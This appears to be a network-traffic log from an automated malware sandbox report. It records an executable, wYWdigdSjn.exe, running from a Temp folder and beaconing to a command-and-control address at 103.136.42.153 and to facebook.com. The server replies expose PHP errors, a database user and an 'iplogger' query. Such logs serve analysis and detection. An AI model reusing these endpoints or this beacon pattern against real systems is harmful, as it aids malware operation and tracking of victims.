Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49717	31.13.92.36	443	C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49695	103.136.42.153	80	C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Timestamp	kBytes transferred	Direction	Data
Oct 8, 2022 11:34:04.201390982 CEST	0	OUT	GET /seemorebty/il.php?e=wYWdigdSjn HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3 Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36 Host: 103.136.42.153
Oct 8, 2022 11:34:04.231983900 CEST	1	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 08 Oct 2022 09:34:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 33 36 61 0d 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 44 65 70 72 65 63 61 74 65 64 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 54 68 65 20 6d 79 73 71 6c 20 65 78 74 65 6e 73 69 6f 6e 20 69 73 20 64 65 70 72 65 63 61 74 65 64 20 61 6e 64 20 77 69 6c 6c 20 62 65 20 72 65 6d 6f 76 65 64 20 69 6e 20 74 68 65 20 66 75 74 75 72 65 3a 20 75 73 65 20 6d 79 73 71 6c 69 20 6f 72 20 50 44 4f 20 69 6e 73 74 65 61 64 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 20 65 78 70 65 63 74 73 20 70 61 72 61 6d 65 74 65 72 20 32 20 74 6f 20 62 65 20 72 65 73 6f 75 72 63 65 2c 20 62 6f 6f 6c 65 61 6e 20 67 69 76 65 6e 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 37 33 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 30 30 30 30 30 30 22 3e 3c 62 3e 31 30 34 35 20 2d 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 3c 62 72 3e 3c 62 72 3e 73 65 6c 65 63 74 20 69 70 6c 6f 67 67 65 72 20 66 72 6f 6d 20 74 5f 63 68 61 6e 6e 65 6c 73 20 77 68 65 72 65 20 6e 61 6d 65 3d 27 77 59 57 64 69 67 64 53 6a 6e 27 20 6c 69 6d 69 74 20 30 2c 31 3c 62 72 3e 3c 62 72 3e 3c 73 6d 61 6c 6c 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 66 66 30 30 30 30 22 3e 5b 54 45 50 20 53 54 4f 50 5d 3c 2f 66 6f 6e 74 3e 3c 2f 73 6d 61 6c 6c 3e 3c 62 72 3e 3c 62 72 3e 3c 2f 62 3e 3c 2f 66 6f 6e 74 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 36a<br /><b>Deprecated</b>: mysql_pconnect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_pconnect(): Access denied for user 'dbnew01'@'localhost' (using password: YES) in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_query() expects parameter 2 to be resource, boolean given in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>73</b><br /><font color="#000000"><b>1045 - Access denied for user 'dbnew01'@'localhost' (using password: YES)<br><br>select iplogger from t_channels where name='wYWdigdSjn' limit 0,1<br><br><small><font color="#ff0000">[TEP STOP]</font></small><br><br></b></font>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.3	49706	103.136.42.153	80	C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Timestamp	kBytes transferred	Direction	Data
Oct 8, 2022 11:34:25.973865986 CEST	312	OUT	GET /seemorebty/il.php?e=WYWDIG~1 HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3 Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36 Host: 103.136.42.153
Oct 8, 2022 11:34:26.000966072 CEST	313	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 08 Oct 2022 09:34:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 33 36 38 0d 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 44 65 70 72 65 63 61 74 65 64 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 54 68 65 20 6d 79 73 71 6c 20 65 78 74 65 6e 73 69 6f 6e 20 69 73 20 64 65 70 72 65 63 61 74 65 64 20 61 6e 64 20 77 69 6c 6c 20 62 65 20 72 65 6d 6f 76 65 64 20 69 6e 20 74 68 65 20 66 75 74 75 72 65 3a 20 75 73 65 20 6d 79 73 71 6c 69 20 6f 72 20 50 44 4f 20 69 6e 73 74 65 61 64 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 20 65 78 70 65 63 74 73 20 70 61 72 61 6d 65 74 65 72 20 32 20 74 6f 20 62 65 20 72 65 73 6f 75 72 63 65 2c 20 62 6f 6f 6c 65 61 6e 20 67 69 76 65 6e 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 37 33 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 30 30 30 30 30 30 22 3e 3c 62 3e 31 30 34 35 20 2d 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 3c 62 72 3e 3c 62 72 3e 73 65 6c 65 63 74 20 69 70 6c 6f 67 67 65 72 20 66 72 6f 6d 20 74 5f 63 68 61 6e 6e 65 6c 73 20 77 68 65 72 65 20 6e 61 6d 65 3d 27 57 59 57 44 49 47 7e 31 27 20 6c 69 6d 69 74 20 30 2c 31 3c 62 72 3e 3c 62 72 3e 3c 73 6d 61 6c 6c 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 66 66 30 30 30 30 22 3e 5b 54 45 50 20 53 54 4f 50 5d 3c 2f 66 6f 6e 74 3e 3c 2f 73 6d 61 6c 6c 3e 3c 62 72 3e 3c 62 72 3e 3c 2f 62 3e 3c 2f 66 6f 6e 74 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 368<br /><b>Deprecated</b>: mysql_pconnect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_pconnect(): Access denied for user 'dbnew01'@'localhost' (using password: YES) in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_query() expects parameter 2 to be resource, boolean given in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>73</b><br /><font color="#000000"><b>1045 - Access denied for user 'dbnew01'@'localhost' (using password: YES)<br><br>select iplogger from t_channels where name='WYWDIG~1' limit 0,1<br><br><small><font color="#ff0000">[TEP STOP]</font></small><br><br></b></font>0
Oct 8, 2022 11:34:26.227204084 CEST	314	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 08 Oct 2022 09:34:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 33 36 38 0d 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 44 65 70 72 65 63 61 74 65 64 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 54 68 65 20 6d 79 73 71 6c 20 65 78 74 65 6e 73 69 6f 6e 20 69 73 20 64 65 70 72 65 63 61 74 65 64 20 61 6e 64 20 77 69 6c 6c 20 62 65 20 72 65 6d 6f 76 65 64 20 69 6e 20 74 68 65 20 66 75 74 75 72 65 3a 20 75 73 65 20 6d 79 73 71 6c 69 20 6f 72 20 50 44 4f 20 69 6e 73 74 65 61 64 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 20 65 78 70 65 63 74 73 20 70 61 72 61 6d 65 74 65 72 20 32 20 74 6f 20 62 65 20 72 65 73 6f 75 72 63 65 2c 20 62 6f 6f 6c 65 61 6e 20 67 69 76 65 6e 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 37 33 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 30 30 30 30 30 30 22 3e 3c 62 3e 31 30 34 35 20 2d 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 3c 62 72 3e 3c 62 72 3e 73 65 6c 65 63 74 20 69 70 6c 6f 67 67 65 72 20 66 72 6f 6d 20 74 5f 63 68 61 6e 6e 65 6c 73 20 77 68 65 72 65 20 6e 61 6d 65 3d 27 57 59 57 44 49 47 7e 31 27 20 6c 69 6d 69 74 20 30 2c 31 3c 62 72 3e 3c 62 72 3e 3c 73 6d 61 6c 6c 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 66 66 30 30 30 30 22 3e 5b 54 45 50 20 53 54 4f 50 5d 3c 2f 66 6f 6e 74 3e 3c 2f 73 6d 61 6c 6c 3e 3c 62 72 3e 3c 62 72 3e 3c 2f 62 3e 3c 2f 66 6f 6e 74 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 368<br /><b>Deprecated</b>: mysql_pconnect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_pconnect(): Access denied for user 'dbnew01'@'localhost' (using password: YES) in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_query() expects parameter 2 to be resource, boolean given in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>73</b><br /><font color="#000000"><b>1045 - Access denied for user 'dbnew01'@'localhost' (using password: YES)<br><br>select iplogger from t_channels where name='WYWDIG~1' limit 0,1<br><br><small><font color="#ff0000">[TEP STOP]</font></small><br><br></b></font>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.3	49708	103.136.42.153	80	C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Timestamp	kBytes transferred	Direction	Data
Oct 8, 2022 11:34:41.629303932 CEST	476	OUT	GET /seemorebty/il.php?e=WYWDIG~1 HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3 Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36 Host: 103.136.42.153
Oct 8, 2022 11:34:41.662936926 CEST	477	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 08 Oct 2022 09:34:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 33 36 38 0d 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 44 65 70 72 65 63 61 74 65 64 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 54 68 65 20 6d 79 73 71 6c 20 65 78 74 65 6e 73 69 6f 6e 20 69 73 20 64 65 70 72 65 63 61 74 65 64 20 61 6e 64 20 77 69 6c 6c 20 62 65 20 72 65 6d 6f 76 65 64 20 69 6e 20 74 68 65 20 66 75 74 75 72 65 3a 20 75 73 65 20 6d 79 73 71 6c 69 20 6f 72 20 50 44 4f 20 69 6e 73 74 65 61 64 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 20 65 78 70 65 63 74 73 20 70 61 72 61 6d 65 74 65 72 20 32 20 74 6f 20 62 65 20 72 65 73 6f 75 72 63 65 2c 20 62 6f 6f 6c 65 61 6e 20 67 69 76 65 6e 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 37 33 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 30 30 30 30 30 30 22 3e 3c 62 3e 31 30 34 35 20 2d 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 3c 62 72 3e 3c 62 72 3e 73 65 6c 65 63 74 20 69 70 6c 6f 67 67 65 72 20 66 72 6f 6d 20 74 5f 63 68 61 6e 6e 65 6c 73 20 77 68 65 72 65 20 6e 61 6d 65 3d 27 57 59 57 44 49 47 7e 31 27 20 6c 69 6d 69 74 20 30 2c 31 3c 62 72 3e 3c 62 72 3e 3c 73 6d 61 6c 6c 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 66 66 30 30 30 30 22 3e 5b 54 45 50 20 53 54 4f 50 5d 3c 2f 66 6f 6e 74 3e 3c 2f 73 6d 61 6c 6c 3e 3c 62 72 3e 3c 62 72 3e 3c 2f 62 3e 3c 2f 66 6f 6e 74 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 368<br /><b>Deprecated</b>: mysql_pconnect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_pconnect(): Access denied for user 'dbnew01'@'localhost' (using password: YES) in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_query() expects parameter 2 to be resource, boolean given in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>73</b><br /><font color="#000000"><b>1045 - Access denied for user 'dbnew01'@'localhost' (using password: YES)<br><br>select iplogger from t_channels where name='WYWDIG~1' limit 0,1<br><br><small><font color="#ff0000">[TEP STOP]</font></small><br><br></b></font>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49696	157.240.20.35	443	C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Timestamp	kBytes transferred	Direction	Data
2022-10-08 09:34:05 UTC	0	OUT	GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='wYWdigdSjn'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36 Host: www.facebook.com
2022-10-08 09:34:05 UTC	1	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]} x-fb-rlafr: 0 document-policy: force-load-at-top cross-origin-resource-policy: same-origin cross-origin-opener-policy: same-origin-allow-popups Pragma: no-cache Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 0 X-Frame-Options: DENY Strict-Transport-Security: max-age=15552000; preload Content-Type: text/html; charset="utf-8" X-FB-Debug: DjP9JolpTwr+86Ry7VDq+AOQqWaFVqykSQSyBTplDu/uvyMekWMgLxnaB8yxwB2QXvynukDh7w8PTdV/eeY0kw== Date: Sat, 08 Oct 2022 09:34:05 GMT Priority: u=3,i Transfer-Encoding: chunked Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Connection: close
2022-10-08 09:34:05 UTC	2	IN	Data Raw: 34 33 34 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 73 3d 22 6e 6f 5f 6a 73 22 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 66 61 75 6c 74 22 20 69 64 3d 22 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 20 2f 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 53 4b 38 45 75 66 55 43 22 3e 66 75 6e 63 74 69 6f 6e 20 65 6e 76 46 6c 75 73 68 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 62 5b 63 5d 3d 61 5b 63 5d 7d 77 69 6e 64 6f 77 2e 72 65 71 75 69 Data Ascii: 4340<!DOCTYPE html><html lang="en" id="facebook" class="no_js"><head><meta charset="utf-8" /><meta name="referrer" content="default" id="meta_referrer" /><script nonce="SK8EufUC">function envFlush(a){function b(b){for(var c in a)b[c]=a[c]}window.requi
2022-10-08 09:34:05 UTC	3	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 69 66 28 21 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 29 72 65 74 75 72 6e 3b 62 2e 49 5f 41 4d 5f 49 4e 43 4f 47 4e 49 54 4f 5f 41 4e 44 5f 49 5f 52 45 41 4c 4c 59 5f 4e 45 45 44 5f 57 45 42 53 51 4c 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 28 61 2c 62 2c 63 2c 64 29 7d 3b 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 29 7d 7d 62 28 61 29 7d 29 28 74 68 69 73 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 53 4b 38 45 75 66 55 43 22 3e 3c 2f 73 74 79 Data Ascii: function(a){function b(b){if(!window.openDatabase)return;b.I_AM_INCOGNITO_AND_I_REALLY_NEED_WEBSQL=function(a,b,c,d){return window.openDatabase(a,b,c,d)};window.openDatabase=function(){throw new Error()}}b(a)})(this);</script><style nonce="SK8EufUC"></sty
